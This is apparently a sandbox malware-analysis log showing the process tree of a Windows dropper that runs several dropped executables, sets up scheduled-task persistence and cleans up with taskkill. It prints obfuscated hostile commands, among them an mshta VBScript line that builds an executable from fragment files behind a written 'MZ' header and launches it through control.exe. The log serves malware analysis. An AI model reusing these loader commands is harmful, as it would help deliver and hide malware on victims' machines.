C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"10⤵PID:2604
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )9⤵PID:2724
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I10⤵PID:2856
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Sun158d8ef840.exe"8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2212
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe4⤵
- Loads dropped DLL
PID:1164 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152e52d07b74d9b5.exeSun152e52d07b74d9b5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe4⤵
- Loads dropped DLL
PID:2036 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1507db358fce61c0b.exeSun1507db358fce61c0b.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe4⤵
- Loads dropped DLL
PID:1640
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe4⤵
- Loads dropped DLL
PID:1584
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exeSun159ff1acacf.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1944 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exeC:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:556
-
-
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152bea652bd7232.exeSun152bea652bd7232.exe1⤵
- Executes dropped EXE
PID:1000
-
C:\Windows\system32\taskeng.exetaskeng.exe {AB81E1AF-41BF-4B66-8843-98D41ED46418} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]1⤵PID:1032
-
C:\Users\Admin\AppData\Roaming\atcdjiuC:\Users\Admin\AppData\Roaming\atcdjiu2⤵PID:588
-
-
C:\Program Files\Mozilla Firefox\default-browser-agent.exe"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task2⤵PID:2108
-
-
C:\Program Files\Mozilla Firefox\default-browser-agent.exe"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task2⤵PID:2628
-
-
C:\Users\Admin\AppData\Roaming\atcdjiuC:\Users\Admin\AppData\Roaming\atcdjiu2⤵PID:432
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {564FC99C-9676-4FF2-A4CC-CD9EEB987908} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2844
-
C:\Windows\system32\taskeng.exetaskeng.exe {383458F6-680D-42FD-9043-43E60D0C637D} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1316
-
C:\Windows\system32\taskeng.exetaskeng.exe {8144F8EB-0E9C-44FB-A279-A5E6331F7A5F} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]1⤵PID:2648
-
C:\Users\Admin\AppData\Roaming\atcdjiuC:\Users\Admin\AppData\Roaming\atcdjiu2⤵PID:668
-